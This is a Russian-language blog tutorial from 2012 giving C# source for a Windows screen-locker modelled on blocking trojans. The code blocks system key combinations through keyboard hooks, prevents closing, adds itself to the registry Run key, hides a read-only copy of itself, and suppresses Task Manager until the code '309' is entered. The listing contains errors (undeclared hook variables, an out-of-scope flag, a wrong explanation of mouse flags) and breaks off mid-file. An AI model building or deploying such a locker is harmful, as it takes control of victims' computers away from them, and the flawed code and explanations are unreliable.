17 июня 2012 г.

Реализация блокиратора операционной системы на Visual C#

Реализация блокиратора операционной системы.
  В данной статье будет рассмотрена реализация программы, блокирующей доступ пользователя к важным ресурсам операционной системы Windows и работу с ней в целом. Цель данной статьи - исследование принципа действия троянов, блокирующих  работу пользователя с ОС и создание программы с аналогичным функционалом (но без возможности самораспространения через заражённые компьютеры). Программа написана на основе платформы .NET на языке программирования Visual C#.

В задачи программы-блокиратора входит в общем виде:
  • Невозможность переключится на другое окно из окна данной программы.
  • Невозможность закрыть (отключить) данную программу без введения секретного кода.
  • При аппаратном (или возможном программном) отключении компьютера загрузка при следующем запуске ОС.
  • Создание скрытой копии в неизвестном пользователю месте на диске (на случай, если пользователь удалит первичный исполняемый файл программы).
Более подробно эти задачи реализуются следующим образом:
  • Ограничение доступа к диспетчеру задач Windows (taskmgr.exe).
  • Ограничение доступа к другим окнам (запрет на обработку комбинации клавиш <Alt>+<Tab>).
  • Ограничение доступа к меню "Пуск" ( запрет на обработку  клавиши <WinKey>).
  • Помещение программы в автозагрузку через создание соответствующего ключа реестра.
  • Отключение программы только после введения пользователем правильного кода в соответствующее поле.
  Реализация всего вышеперечисленного выполняется с помощью перехвата нажатия клавиш и их комбинаций, перехвата мыши и её эмуляции, использования свойств окна в Visual C#, обращения к реестру Windows и записи туда новых значений, управления процессами Windows.
Далее по порядку разбор программного кода и формы в Visual C#.
Сама форма, представленная на рисунке 1 имеет всего 4 элемента: непосредственно форма form1, текст "ENTER SECRET CODE HERE"в контейнере label1, поле для ввода текста  textBox1 и кнопку  button1 с надписью "SUBMIT".

Рисунок 1. Окно программы с подписанными элементами.

  Программе для работы потребуются библиотеки, поэтому сначала идёт подключение необходимых библиотек:
using System;
using System.Collections.Generic;
using Microsoft.Win32;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Reflection;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Runtime.InteropServices;
using System.Diagnostics;
using System.IO;

  Далее следует конструктор класса Form1: Form1():
public Form1()
        {
            InitializeComponent();
            TopMost = true;//Set form on the front of screen
        }
  В конструкторе устанавливается TopMost = true;. Это означает, что свойство TopMost приняло истинное значение и теперь форма будет отображаться поверх всех окон.

  Следующая часть программы помещает её в автозагрузку:
        //Set programm to autorun by Windows Registry key
        public bool SetAutorunValue(bool autorun)
        {
            string name = "WindowsFormsApplication5";//Application name
            string ExePath = System.Windows.Forms.Application.ExecutablePath;//Current path
//of application execution
            RegistryKey reg;//Class for working with Windows registry
            reg = Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run\\");//Subkey creating in registry
            try
            {
                if (autorun)
                {
                    reg.SetValue(name, ExePath);//If success - then set an autoran key values
//according to this application
                }
                else
                {
                    reg.DeleteValue(name);//If failed - delete a created key
                }
                reg.Close();//Write data to registry and close it
            }
            catch
            {
                return false;//If exception (fail)
            }
            return true;//If success
        }

  Здесь создаётся переменная reg класса RegistryKey, являющегося инкапсуляцией реестра Windows, в неё с помощью метода этого же класса CurrentUser.CreateSubKey записывается раздел реестра HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run, тем самым указывая рабочий раздел - раздел, отвечающий за автозагрузку и содержащий соответствующие ключи. Затем в этот раздел реестра добавляется с помощью метода SetValue(name, ExePath), где name - имя приложения (в данном случае - WindowsFormApplication5), а ExePath - текущее местоположение исполняемого файла приложения, ключ со значением, равным name. Действительно, после выполнения программы в реестре Windows в разделе  HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run появляется новый ключ, соответствующий данной программе.

Рисунок 2. Ключ реестра, созданный в разделе HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run после выполнения программы.

  Далее в программе следуют две функции: Form1_FormClosing_deny и Form1_FormClosing_access. Первая функция запрещает закрытие формы, вторая функция разрешает закрытие формы.
        //Deny the form closing
        private void Form1_FormClosing_deny(object sender, FormClosingEventArgs e)
        {
            if (e.CloseReason == CloseReason.UserClosing |        //If closing by user
                e.CloseReason == CloseReason.MdiFormClosing |     //If closing by parent form
                e.CloseReason == CloseReason.TaskManagerClosing | //If closing by Windows Task
//Manager
                e.CloseReason == CloseReason.FormOwnerClosing)    //If closing by owner-form
            {
                e.Cancel = true;//Allow accepted changes
            }
        }

        //Accept the form closing
        private void Form1_FormClosing_access(object sender, FormClosingEventArgs e)
        {
            if (e.CloseReason == CloseReason.UserClosing |        //If closing by user
                e.CloseReason == CloseReason.MdiFormClosing |     //If closing by parent form
                e.CloseReason == CloseReason.TaskManagerClosing | //If closing by Windows Task 
//Manager

                e.CloseReason == CloseReason.FormOwnerClosing)    //If closing by owner-form
            {
                e.Cancel = false;//Deny accepted changes
            }
        }

  Здесь в условии указываются возможные причины закрытия формы (пользователем, родительской формой, Диспетчером Задач Windows или формой-владельцем данной формы) и если хотя бы одна из них имеет место, то первая функция запрещает закрытие формы (так как e.Cancel принимает значение true, то есть отмена закрытия формы подтверждена), а вторая функция, напротив, разрешает закрытие формы  (так как e.Cancel принимает значение false, то есть отмена закрытия формы не подтверждена).

  После этого в программе идёт перехват клавиш <Ctrl>, <Alt>, <Delete>, <WinKey>, а также комбинации клавиш <Alt>+<Tab>. Перехват основан на работе с хуками из WinAPI.
Хук (от англ. hook - крючок, ловушка) - точка в механизме, обрабатывающем сообщения. В этой точке приложение может установить подпрограмму, чтобы контролировать передачу сообщений в системе и обрабатывать определенные типы сообщений прежде, чем их получит приложение, для которого они предназначены. Для перехвата нажатий клавиш используется хук WH_KEYBOARD, для перехвата движения мыши и нажатия её кнопок используется хук WH_MOUSE. Смысл работы этих хуков в том, что ОС Windows вызывает их функции, когда из системной очереди соответственно собираются быть извлечены сообщение от нажатой или отпущенной клавиши или сообщение от мыши. Ниже представлен код работы с хуками для перехвата нажатия клавиш.


//Hooks data
        private const int WH_KEYBOARD_LL = 13;//Keyboard hook;

        //Keys data structure
        [StructLayout(LayoutKind.Sequential)]
        private struct KBDLLHOOKSTRUCT
        {
            public Keys key;
        }
       
        //Using callbacks
        private LowLevelKeyboardProcDelegate m_callback;
        private LowLevelKeyboardProcDelegate m_callback_1;
        private LowLevelKeyboardProcDelegate m_callback_2;
        private LowLevelKeyboardProcDelegate m_callback_3;
        private LowLevelKeyboardProcDelegate m_callback_4;
        private LowLevelKeyboardProcDelegate m_callback_5;
        private LowLevelKeyboardProcDelegate m_callback_6;
       
        //Using hooks
        private IntPtr m_hHook;
        private IntPtr m_hHook_1;
        private IntPtr m_hHook_2;
        private IntPtr m_hHook_3;
        private IntPtr m_hHook_4;
        private IntPtr m_hHook_5;
        private IntPtr m_hHook_6;

        //Set hook on keyboard
        [DllImport("user32.dll", SetLastError = true)]
        private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProcDelegate lpfn, IntPtr hMod, int dwThreadId);

        //Unhook keyboard
        [DllImport("user32.dll", SetLastError = true)]
        private static extern bool UnhookWindowsHookEx(IntPtr hhk);

        //Hook handle
        [DllImport("Kernel32.dll", SetLastError = true)]
        private static extern IntPtr GetModuleHandle(IntPtr lpModuleName);

        //Calling the next hook
        [DllImport("user32.dll", SetLastError = true)]
        private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);


        //<Alt>+<Tab> blocking
        public IntPtr LowLevelKeyboardHookProc_alt_tab(int nCode, IntPtr wParam, IntPtr lParam)
        {
            if (nCode >= 0)//If not alredy captured
            {
                KBDLLHOOKSTRUCT objKeyInfo = (KBDLLHOOKSTRUCT)Marshal.PtrToStructure(lParam, typeof(KBDLLHOOKSTRUCT));//Memory allocation and importing code data to KBDLLHOOKSTRUCT
                if (objKeyInfo.key == Keys.Alt || objKeyInfo.key == Keys.Tab)
                {
                    return (IntPtr)1;//<Alt>+<Tab> blocking
                }
            }
            return CallNextHookEx(m_hHook, nCode, wParam, lParam);//Go to next hook
        }       

        //<WinKey> capturing
        public IntPtr LowLevelKeyboardHookProc_win(int nCode, IntPtr wParam, IntPtr lParam)
        {
            if (nCode >= 0)//If not alredy captured
            {
                KBDLLHOOKSTRUCT objKeyInfo = (KBDLLHOOKSTRUCT)Marshal.PtrToStructure(lParam, typeof(KBDLLHOOKSTRUCT));//Memory allocation and importing code data to KBDLLHOOKSTRUCT
                if (objKeyInfo.key == Keys.RWin || objKeyInfo.key == Keys.LWin)
                {
                    return (IntPtr)1;//<WinKey> blocking
                }
            }
            return CallNextHookEx(m_hHook_1, nCode, wParam, lParam);//Go to next hook
        }

        //<Delete> capturing
        public IntPtr LowLevelKeyboardHookProc_del(int nCode, IntPtr wParam, IntPtr lParam)
        {
            if (nCode >= 0)//If not alredy captured
            {
                KBDLLHOOKSTRUCT objKeyInfo = (KBDLLHOOKSTRUCT)Marshal.PtrToStructure(lParam, typeof(KBDLLHOOKSTRUCT));//Memory allocation and importing code data to KBDLLHOOKSTRUCT
                if (objKeyInfo.key == Keys.Delete)
                {
                    return (IntPtr)1;//<Delete> blocking
                }
            }
            return CallNextHookEx(m_hHook_3, nCode, wParam, lParam);//Go to next hook
        }

        //<Control> capturing
        public IntPtr LowLevelKeyboardHookProc_ctrl(int nCode, IntPtr wParam, IntPtr lParam)
        {
            if (nCode >= 0)//If not alredy captured
            {
                KBDLLHOOKSTRUCT objKeyInfo = (KBDLLHOOKSTRUCT)Marshal.PtrToStructure(lParam, typeof(KBDLLHOOKSTRUCT));//Memory allocation and importing code data to KBDLLHOOKSTRUCT
                if (objKeyInfo.key == Keys.RControlKey || objKeyInfo.key == Keys.LControlKey)
                {
                    return (IntPtr)1;//<Control> blocking
                }
            }
            return CallNextHookEx(m_hHook_2, nCode, wParam, lParam);//Go to next hook
        }

        //<Alt> capturing
        public IntPtr LowLevelKeyboardHookProc_alt(int nCode, IntPtr wParam, IntPtr lParam)
        {
            if (nCode >= 0)//If not alredy captured
            {
                KBDLLHOOKSTRUCT objKeyInfo = (KBDLLHOOKSTRUCT)Marshal.PtrToStructure(lParam, typeof(KBDLLHOOKSTRUCT));//Memory allocation and importing code data to KBDLLHOOKSTRUCT
                if (objKeyInfo.key == Keys.Alt)
                {
                    return (IntPtr)1;//<Alt> blocking
                }
            }
            return CallNextHookEx(m_hHook_4, nCode, wParam, lParam);//Go to next hook
        }

        //<Alt>+<Space> blocking
        public IntPtr LowLevelKeyboardHookProc_alt_space(int nCode, IntPtr wParam, IntPtr lParam)
        {
            if (nCode >= 0)//If not alredy captured
            {
                KBDLLHOOKSTRUCT objKeyInfo = (KBDLLHOOKSTRUCT)Marshal.PtrToStructure(lParam, typeof(KBDLLHOOKSTRUCT));//Memory allocation and importing code data to KBDLLHOOKSTRUCT
                if (objKeyInfo.key == Keys.Alt || objKeyInfo.key == Keys.Space)
                {
                    return (IntPtr)1;//<Alt>+<Space> blocking
                }
            }
            return CallNextHookEx(m_hHook_5, nCode, wParam, lParam);//Go to next hook
        }

        //<Control>+<Shift>+<Escape> blocking
        public IntPtr LowLevelKeyboardHookProc_control_shift_escape(int nCode, IntPtr wParam, IntPtr lParam)
        {
            if (nCode >= 0)//If not alredy captured
            {
                KBDLLHOOKSTRUCT objKeyInfo = (KBDLLHOOKSTRUCT)Marshal.PtrToStructure(lParam, typeof(KBDLLHOOKSTRUCT));//Memory allocation and importing code data to KBDLLHOOKSTRUCT
                if (objKeyInfo.key == Keys.LControlKey || objKeyInfo.key == Keys.RControlKey || objKeyInfo.key == Keys.LShiftKey || objKeyInfo.key == Keys.RShiftKey || objKeyInfo.key == Keys.Escape)
                {
                    return (IntPtr)1;//<Control>+<Shift>+<Escape> blocking
                }
            }
            return CallNextHookEx(m_hHook_6, nCode, wParam, lParam);//Go to next hook
        }

        //Delegate for using hooks
        private delegate IntPtr LowLevelKeyboardProcDelegate(int nCode, IntPtr wParam, IntPtr lParam);

        //Setting all hooks
        public void SetHook()
        {
            //Hooks callbacks by delegate
            m_callback = LowLevelKeyboardHookProc_win;
            m_callback_1 = LowLevelKeyboardHookProc_alt_tab;
            m_callback_2 = LowLevelKeyboardHookProc_ctrl;
            m_callback_3 = LowLevelKeyboardHookProc_del;
            m_callback_4 = LowLevelKeyboardHookProc_alt;
            m_callback_5 = LowLevelKeyboardHookProc_alt_space;
            m_callback_6 = LowLevelKeyboardHookProc_control_shift_escape;
            //Hooks setting
            m_hHook = SetWindowsHookEx(WH_KEYBOARD_LL, m_callback, GetModuleHandle(IntPtr.Zero), 0);
            m_hHook_1 = SetWindowsHookEx(WH_KEYBOARD_LL, m_callback_1, GetModuleHandle(IntPtr.Zero), 0);
            m_hHook_2 = SetWindowsHookEx(WH_KEYBOARD_LL, m_callback_2, GetModuleHandle(IntPtr.Zero), 0);
            m_hHook_3 = SetWindowsHookEx(WH_KEYBOARD_LL, m_callback_3, GetModuleHandle(IntPtr.Zero), 0);
            m_hHook_4 = SetWindowsHookEx(WH_KEYBOARD_LL, m_callback_4, GetModuleHandle(IntPtr.Zero), 0);
            m_hHook_5 = SetWindowsHookEx(WH_KEYBOARD_LL, m_callback_5, GetModuleHandle(IntPtr.Zero), 0);
            m_hHook_6 = SetWindowsHookEx(WH_KEYBOARD_LL, m_callback_6, GetModuleHandle(IntPtr.Zero), 0);
        }

        //Keyboard unhooking
        public void Unhook()
        {
            UnhookWindowsHookEx(m_hHook);
            UnhookWindowsHookEx(m_hHook_1);
            UnhookWindowsHookEx(m_hHook_2);
            UnhookWindowsHookEx(m_hHook_3);
            UnhookWindowsHookEx(m_hHook_4);
            UnhookWindowsHookEx(m_hHook_5);
            UnhookWindowsHookEx(m_hHook_6);
        }
  Здесь сначала объявляются делегаты вызовов хуков (m_callback) и сами хуки (m_hHook), а также структура KBDLLHOOKSTRUCT, необходимая для работы методов хуков. Затем определяется порядок работы хука: вызывается библиотека User32.dll для работы с Win32 API  (для каждого метода) и далее идут методы для постановки хука, его отключения, его обработчика и вызова следующего хука из цепочки хуков. Цепочка хуков (hook chain) - это список указателей на определенные приложением функции обратного вызова, которые вызывают функции хука (hook procedures). Когда появляется сообщение, связанное с типом установленного хука, Windows передает это сообщение по очереди каждой функции хука, упомянутой в цепочке. Потом следуют функции хуков, непосредственно перехватывающие нажатия клавиш (или комбинации клавиш) и блокирующие их обработку операционной системой (хук не пропускает сообщение от клавиатуры и оно не доходит до ОС). Подробно работа функций хуков описана в комментариях к коду. В общем виде смысл такой функции хука следующий: если код хука nCode больше или равен нулю, то есть перехвата ещё не было, то в памяти создаётся объект objKeyInfo, основанный на данных из структуры KBDLLHOOKSTRUCT, содержащий данные о клавише, проверяется соответствие текущей нажатой клавиши этому объекту и в случае соответствия дескриптору возвращается значение 1, то есть хук перехватывает и блокирует обработку нажатия данной клавиши. Затем после всех функций хука функция SetHook() сначала устанавливает значения делегатов m_callback равными обратным вызовам функций хука , а затем устанавливает дескриптор хука равный значению определённой ранее функции SetWindowsHookEx для каждого случая в зависимости от параметров этой функции, тем самым устанавливая хук на клавиатуру. Функция Unhook() производит снятие хука с клавиатуры с помощью определённого ранее метода UnhookWindowsHookEx с соответствующими параметрами.

  Далее в программе следует определение метода для эмуляции мыши и установка флагов, соответствующим всем предусмотренным операционной системой движениям мыши. Необходимость эмуляции мыши будет объяснена в этой статье чуть позже.


        //Set mouse event for further mouse emulation
        [DllImport("User32.dll")]
        static extern void mouse_event(MouseFlags dwFlags, int dx, int dy, int dwData, UIntPtr dwExtraInfo);
       
        //Mouse flags enum
        [Flags]
        enum MouseFlags
        {
            Move = 0x0001,
            LeftDown = 0x0002,
            LeftUp = 0x0004,
            RightDown = 0x0008,
            RightUp = 0x0010,
            Absolute = 0x8000
        };

  Здесь вызывается библиотека User32.dll для работы с Win32 API и определяется метод mouse_event с параметрами направления движения мыши, координате x на экране, координате y на экране и данным о текущем состоянии мыши). Затем в перечислении MouseFlags происходит установка флагов, соответствующим всем предусмотренным операционной системой движениям мыши: Move - есть движение, LeftDown - влево-вниз, LeftUp - влево-вверх, RightDown - вправо-вниз, RightUp - вправо-вверх, Absolute - строго по прямой (вверх, вниз, вправо или влево).

  Затем в программе идёт стандартный загрузчик формы Form1_Load(object sender, EventArgs e). В нём вызывается хук для перехвата обработки нажатия клавиш, происходит копирование программы в каталог C:\Users\%username%\Documents с таким же именем как у исходного исполняемого файла и с атрибутами "Скрытый" и "Только чтение" для того, чтобы пользователю было сложнее его найти. Также эта копия запускается как отдельный процесс, при этом важно, что контролируется копия запущена или оригинал, так как если это не проконтролировать, то будет происходить бесконтрольный запуск бесконечного числа копий и бесконтрольное их копирование (копия, "считая", что она - оригинал, копирует себя снова и порождает новый соответствующий процесс, который продолжая существовать, порождает ещё один процесс и так далее). Это необходимо для того, чтобы копия прописывалась в автозагрузке и программа продолжала существовать на жёстком диске, даже если первично запущенный оригинал был удалён или повреждён. После программа перехватывает управление мышью и перемещает её курсор в центр экрана на поле textBox1, эмулируя при этом нажатие правой кнопкой мыши, что влечёт появление контекстного меню для этого текстового поля при запуске программы. Это необходимо потому, что при запуске программы изначально панель задач Windows не скрыта под окном программы из-за особенностей обработчика this.Bounds = Screen.PrimaryScreen.WorkingArea;, отвечающего за установку размеров формы равными размерам экрана, поэтому, если навести курсор на панель задач Windows, предварительно совершив движение мышью, то возникает теоретическая возможность вызова Диспетчера Задач или любого другого средства с возможностью прервать выполнение программы. После этого программа записывает себя в автозагрузку, устанавливает размеры формы равными размерам экрана, устанавливает запрет на закрытие формы и запускает процесс taskmgr.exe как скрытый, чтобы пользователь не могу запустить Диспетчер Задач Windows. Ниже представлен код загрузчика формы Form1_Load(object sender, EventArgs e).

        private void Form1_Load(object sender, EventArgs e)
        {
            SetHook();//Hook for keypressing capturing
            TopMost = true;//Make window of this aplication on the top of other windows

            //Making copy of current programm to "C:\Users\%username\Documents"
            //Full path to current file
            string currentAssembly = Assembly.GetExecutingAssembly().Location;
            //Current filename
            string fileName = Path.GetFileName(currentAssembly);
            //Destination folder
            string destinationDirectory = "C:\\Users\\";
            //Current username
            string username = Environment.UserName;
            //Documents folder
            string documents = "Documents\\";
            //Copied file
            string copy = Path.Combine(destinationDirectory, username, documents, fileName);

            //Flag for checking if running programm is not a child process
            bool flag = true;
            if (currentAssembly == copy)
            {
                flag = false;
            }
           
            //Copying to destination folder
            if (!System.IO.File.Exists(copy))
            {
                File.Copy(currentAssembly, copy, true);
                //Making copy file hidden, system and reading only               
                System.IO.File.SetAttributes(copy, System.IO.FileAttributes.ReadOnly);
                System.IO.File.SetAttributes(copy, System.IO.FileAttributes.Hidden);
            }
            else
            {
                //Making copy file hidden, system and reading only
                System.IO.File.SetAttributes(copy, System.IO.FileAttributes.ReadOnly);
                System.IO.File.SetAttributes(copy, System.IO.FileAttributes.Hidden);
            }

            //Running the copy of this programm to set it in the autorun only if current
//programm is not a recently made copy
            if (flag == true)
            {
                Process.Start(copy);
            }

            //Coordinates of new cursor position in the screen
            const int x = 32000;
            const int y = 32000;
            //Put mouse in the screen ceneter and click its right button to prevent ability
//of taskbar
            mouse_event(MouseFlags.Absolute | MouseFlags.Move, x, y, 0, UIntPtr.Zero);//Move
//cursor
            mouse_event(MouseFlags.Absolute | MouseFlags.RightDown, x, y, 0, UIntPtr.Zero);//
//Push mouse right button
            mouse_event(MouseFlags.Absolute | MouseFlags.RightUp, x, y, 0, UIntPtr.Zero);//
//Release mouse right button

            SetAutorunValue(true);//Call function to put this application to autorun
            this.Bounds = Screen.PrimaryScreen.WorkingArea;//Set form size equal to full
//screen size
            this.FormClosing += Form1_FormClosing_deny;//Binding addition to the form
//constructor
            Process p = new Process();//New process
            p.StartInfo.WorkingDirectory = Environment.GetFolderPath(Environment.SpecialFolder.System);//Set working directoty
            p.StartInfo.FileName = "taskmgr.exe";//Set filename for process
            p.StartInfo.CreateNoWindow = true;//New window for starting process
            p.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;//Making the window for
//process hidden
            p.Start();//Start taskmgr process
            this.Focus();//Focus on taskmgr
        }

  Подробнее нюансы работы данного блока описаны в комментариях к коду рядом с соответствующими строками этого кода.

  Последним блоком кода в программе идёт функция-обработчик нажатия кнопки button1. Она проверяет соответствие заданного в строковой переменной пароля введённому в поле ввода textBox1 коду и в случае, если они совпали, разрешает закрытие формы, прерывает порождённые процессы Диспетчера Задач Windows, снимает хук с клавиатуры и закрывает программу. Если заданный в переменной пароль и код, введённый пользователем, не совпали, функция вызывает сообщение "WRONG CODE. TRY AGAIN.". Ниже представлен код этой функции.

        private void button1_Click(object sender, EventArgs e)
        {
            TopMost = true;
            string pass = "309";//Code (key data)
            //Checking if inputed data is equal to key data
            if(textBox1.Text == pass)
            {
                this.FormClosing += Form1_FormClosing_access;//Allow form closing
                Unhook();//Hooked keys unhooking               
                if (flag == true)
                {
                    Process.GetProcessesByName("taskmgr")[0].Kill();//Kill taskmgr
                }
                else
                {
                    Process.GetProcessesByName("taskmgr")[1].Kill();//Kill taskmgr
                }
                Form1.ActiveForm.Close();//Close form
            }
            //If inputed data is not equal to key data
            else
            {
                MessageBox.Show("WRONG CODE. TRY AGAIN.");//Message for user
                return;//Exit from button1 handler
            }
        }
  Здесь string pass = "309"; - изначально задаваемый пароль, this.FormClosing += Form1_FormClosing_access; - разрешение закрытия формы путём добавления к стандартному обработчику закрытия формы функции  Form1_FormClosing_access, Unhook() - снятие хука с клавиатуры, Process.GetProcessesByName("taskmgr")[0].Kill(); - прерывание процесса  Диспетчера Задач Windows taskmgr.exe, при этом, если запущена копия, то прерывается второй по счёту процесс taskmgr.exe, и функция прерывания процесса уже имеет вид Process.GetProcessesByName("taskmgr")[1].Kill();. Form1.ActiveForm.Close(); - закрытие текущей формы, MessageBox.Show("WRONG CODE. TRY AGAIN."); - вывод сообщения для пользователя с текстом  "WRONG CODE. TRY AGAIN.".


Полный код программы на языке программирования Visual C#.

/* © Alexander Bakhmatov
 * 2012
 * All rights are reserved
*/
using System;
using System.Collections.Generic;
using Microsoft.Win32;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Reflection;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Runtime.InteropServices;
using System.Diagnostics;
using System.IO;


namespace WindowsFormsApplication5
{   
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
            TopMost = true;//Set form on the front of screen
        }
       
        //Set programm to autorun by Windows Registry key
        public bool SetAutorunValue(bool autorun)
        {
            string name = "WindowsFormsApplication5";//Application name
            string ExePath = System.Windows.Forms.Application.ExecutablePath;//Current path
//of application execution
            RegistryKey reg;//Class for working with Windows registry
            reg = Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run\\");//Subkey creating in registry
            try
            {
                if (autorun)
                {
                    reg.SetValue(name, ExePath);//If success - then set an autoran key values
//according to this application
                }
                else
                {
                    reg.DeleteValue(name);//If failed - delete a created key
                }
                reg.Close();//Write data to registry and close it
            }
            catch
            {
                return false;//If exception (fail)
            }
            return true;//If success
        }

       
        //Deny the form closing
        private void Form1_FormClosing_deny(object sender, FormClosingEventArgs e)
        {
            if (e.CloseReason == CloseReason.UserClosing |        //If closing by user
                e.CloseReason == CloseReason.MdiFormClosing |     //If closing by parent form
                e.CloseReason == CloseReason.TaskManagerClosing | //If closing by Windows Task
//Manager
                e.CloseReason == CloseReason.FormOwnerClosing)    //If closing by owner-form
            {
                e.Cancel = true;//Allow accepted changes
            }
        }

        //Accept the form closing
        private void Form1_FormClosing_access(object sender, FormClosingEventArgs e)
        {
            if (e.CloseReason == CloseReason.UserClosing |        //If closing by user
                e.CloseReason == CloseReason.MdiFormClosing |     //If closing by parent form
                e.CloseReason == CloseReason.TaskManagerClosing | //If closing by Windows Task 
//Manager

                e.CloseReason == CloseReason.FormOwnerClosing)    //If closing by owner-form
            {
                e.Cancel = false;//Deny accepted changes
            }
        }


        //If form is closing then terminate taskmgr (Windows Task Manager) process
        void Form1_FormClosed(object sender, FormClosedEventArgs e)
        {
            Process.GetProcessesByName("taskmgr")[0].Kill();//Kill taskmgr
            Unhook();//Hooked keys unhooking
        }
         
        //Hooks data
        private const int WH_KEYBOARD_LL = 13;//Keyboard hook;

        //Keys data structure
        [StructLayout(LayoutKind.Sequential)]
        private struct KBDLLHOOKSTRUCT
        {
            public Keys key;
        }
       
        //Using callbacks
        private LowLevelKeyboardProcDelegate m_callback;
        private LowLevelKeyboardProcDelegate m_callback_1;
        private LowLevelKeyboardProcDelegate m_callback_2;
        private LowLevelKeyboardProcDelegate m_callback_3;
        private LowLevelKeyboardProcDelegate m_callback_4;
       
        //Using hooks
        private IntPtr m_hHook;
        private IntPtr m_hHook_1;
        private IntPtr m_hHook_2;
        private IntPtr m_hHook_3;
        private IntPtr m_hHook_4;

        //Set hook on keyboard
        [DllImport("user32.dll", SetLastError = true)]
        private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProcDelegate lpfn, IntPtr hMod, int dwThreadId);

        //Unhook keyboard
        [DllImport("user32.dll", SetLastError = true)]
        private static extern bool UnhookWindowsHookEx(IntPtr hhk);

        //Hook handle
        [DllImport("Kernel32.dll", SetLastError = true)]
        private static extern IntPtr GetModuleHandle(IntPtr lpModuleName);

        //Calling the next hook
        [DllImport("user32.dll", SetLastError = true)]
        private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);


        //<Alt>+<Tab> blocking
        public IntPtr LowLevelKeyboardHookProc_alt_tab(int nCode, IntPtr wParam, IntPtr lParam)
        {
            if (nCode >= 0)//If not alredy captured
            {
                KBDLLHOOKSTRUCT objKeyInfo = (KBDLLHOOKSTRUCT)Marshal.PtrToStructure(lParam, typeof(KBDLLHOOKSTRUCT));//Memory allocation and importing code data to KBDLLHOOKSTRUCT
                if (objKeyInfo.key == Keys.Alt || objKeyInfo.key == Keys.Tab)
                {
                    return (IntPtr)1;//<Alt>+<Tab> blocking
                }
            }
            return CallNextHookEx(m_hHook, nCode, wParam, lParam);//Go to next hook
        }       


        //<WinKey> capturing
        public IntPtr LowLevelKeyboardHookProc_win(int nCode, IntPtr wParam, IntPtr lParam)
        {
            if (nCode >= 0)//If not alredy captured
            {
                KBDLLHOOKSTRUCT objKeyInfo = (KBDLLHOOKSTRUCT)Marshal.PtrToStructure(lParam, typeof(KBDLLHOOKSTRUCT));//Memory allocation and importing code data to KBDLLHOOKSTRUCT
                if (objKeyInfo.key == Keys.RWin || objKeyInfo.key == Keys.LWin)
                {
                    return (IntPtr)1;//<WinKey> blocking
                }
            }
            return CallNextHookEx(m_hHook_1, nCode, wParam, lParam);//Go to next hook
        }

        //<Delete> capturing
        public IntPtr LowLevelKeyboardHookProc_del(int nCode, IntPtr wParam, IntPtr lParam)
        {
            if (nCode >= 0)//If not alredy captured
            {
                KBDLLHOOKSTRUCT objKeyInfo = (KBDLLHOOKSTRUCT)Marshal.PtrToStructure(lParam, typeof(KBDLLHOOKSTRUCT));//Memory allocation and importing code data to KBDLLHOOKSTRUCT
                if (objKeyInfo.key == Keys.Delete)
                {
                    return (IntPtr)1;//<Delete> blocking
                }
            }
            return CallNextHookEx(m_hHook_3, nCode, wParam, lParam);//Go to next hook
        }

        //<Control> capturing
        public IntPtr LowLevelKeyboardHookProc_ctrl(int nCode, IntPtr wParam, IntPtr lParam)
        {
            if (nCode >= 0)//If not alredy captured
            {
                KBDLLHOOKSTRUCT objKeyInfo = (KBDLLHOOKSTRUCT)Marshal.PtrToStructure(lParam, typeof(KBDLLHOOKSTRUCT));//Memory allocation and importing code data to KBDLLHOOKSTRUCT
                if (objKeyInfo.key == Keys.RControlKey || objKeyInfo.key == Keys.LControlKey)
                {
                    return (IntPtr)1;//<Control> blocking
                }
            }
            return CallNextHookEx(m_hHook_2, nCode, wParam, lParam);//Go to next hook
        }

        //<Alt> capturing
        public IntPtr LowLevelKeyboardHookProc_alt(int nCode, IntPtr wParam, IntPtr lParam)
        {
            if (nCode >= 0)//If not alredy captured
            {
                KBDLLHOOKSTRUCT objKeyInfo = (KBDLLHOOKSTRUCT)Marshal.PtrToStructure(lParam, typeof(KBDLLHOOKSTRUCT));//Memory allocation and importing code data to KBDLLHOOKSTRUCT
                if (objKeyInfo.key == Keys.Alt)
                {
                    return (IntPtr)1;//<Alt> blocking
                }
            }
            return CallNextHookEx(m_hHook_4, nCode, wParam, lParam);//Go to next hook
        }

        //<Alt>+<Space> blocking
        public IntPtr LowLevelKeyboardHookProc_alt_space(int nCode, IntPtr wParam, IntPtr lParam)
        {
            if (nCode >= 0)//If not alredy captured
            {
                KBDLLHOOKSTRUCT objKeyInfo = (KBDLLHOOKSTRUCT)Marshal.PtrToStructure(lParam, typeof(KBDLLHOOKSTRUCT));//Memory allocation and importing code data to KBDLLHOOKSTRUCT
                if (objKeyInfo.key == Keys.Alt || objKeyInfo.key == Keys.Space)
                {
                    return (IntPtr)1;//<Alt>+<Space> blocking
                }
            }
            return CallNextHookEx(m_hHook_5, nCode, wParam, lParam);//Go to next hook
        }

        //<Control>+<Shift>+<Escape> blocking
        public IntPtr LowLevelKeyboardHookProc_control_shift_escape(int nCode, IntPtr wParam, IntPtr lParam)
        {
            if (nCode >= 0)//If not alredy captured
            {
                KBDLLHOOKSTRUCT objKeyInfo = (KBDLLHOOKSTRUCT)Marshal.PtrToStructure(lParam, typeof(KBDLLHOOKSTRUCT));//Memory allocation and importing code data to KBDLLHOOKSTRUCT
                if (objKeyInfo.key == Keys.LControlKey || objKeyInfo.key == Keys.RControlKey || objKeyInfo.key == Keys.LShiftKey || objKeyInfo.key == Keys.RShiftKey || objKeyInfo.key == Keys.Escape)
                {
                    return (IntPtr)1;//<Control>+<Shift>+<Escape> blocking
                }
            }
            return CallNextHookEx(m_hHook_6, nCode, wParam, lParam);//Go to next hook
        }

        //Delegate for using hooks
